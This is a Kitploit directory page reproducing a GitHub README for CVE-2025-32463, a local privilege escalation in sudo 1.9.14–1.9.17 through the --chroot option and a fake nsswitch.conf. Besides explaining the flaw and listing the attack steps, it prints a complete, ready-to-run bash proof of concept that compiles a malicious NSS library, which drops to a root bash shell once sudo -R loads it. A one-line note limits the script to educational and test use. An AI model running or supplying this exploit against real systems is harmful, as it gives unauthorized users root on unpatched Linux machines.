Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-32463 — Proof-of-concept exploit for CVE-2025-32463, a local privilege escalation in sudo 1.9.14-1.9.17 via chroot misconfiguration and malicious NSS library injection. | Kitploit
Tools/GitHubGitHub/mr-alperen/cve-2025-32463
Privilege EscalationVulnerability AnalysisExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubmr-alperen/cve-2025-32463

CVE-2025-32463

Proof-of-concept exploit for CVE-2025-32463, a local privilege escalation in sudo 1.9.14-1.9.17 via chroot misconfiguration and malicious NSS library injection.

View Repository
4210 months agoNot yet reviewed
Share

📌 CVE-2025-32463 — Sudo --chroot Local Privilege Escalation

ExploitDB ID: 52352


🧠 Overview

This repository documents a critical local privilege escalation (LPE) vulnerability affecting Sudo versions 1.9.14 – 1.9.17.

The vulnerability arises from an incorrect implementation of the sudo -R (--chroot) option and allows an attacker to execute commands with root privileges even if not authorized in the sudoers file.

🔥 Result: Unauthorized user → root shell


🧩 Affected Component

  • Software: sudo
  • Affected Versions:
    • 1.9.14
    • 1.9.15
    • 1.9.16
    • 1.9.17
  • CVE ID: CVE-2025-32463
  • Platform: Linux (especially systems using NSS)
  • Tested System: Kali Rolling 2025

⚙️ Technical Cause of the Vulnerability

The --chroot (-R) parameter of sudo allows the user to execute commands under a root directory of their choice.

However, as a result of a change made in sudo 1.9.14:

  • The sudoers file has not yet been fully validated
  • The chroot() call is performed using the directory specified by the user

This allows an attacker, through a fake:

/etc/nsswitch.conf

file, to cause a malicious NSS library (libnss_*.so) to be loaded with root privileges.


🧨 Attack Scenario (Summary)

  1. A temporary directory is created
  2. A fake nsswitch.conf is prepared
  3. A malicious NSS shared library is compiled
  4. A sudo -R <dir> <command> call is made
  5. The NSS library is loaded with root privileges
  6. Root shell is obtained 🚀

🧪 Proof of Concept (PoC)

⚠️ For use only in educational and test environments

#!/bin/bash
# sudo-chwoot.sh – PoC for CVE-2025-32463

set -e

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"

cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void woot(void) {
    setreuid(0,0);
    setregid(0,0);
    chdir("/");
    execl("/bin/bash","/bin/bash",NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

sudo -R woot woot
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    989
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    576
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    354
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    323
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    315

Explore all tools

Browse our collection of tools

View all tools →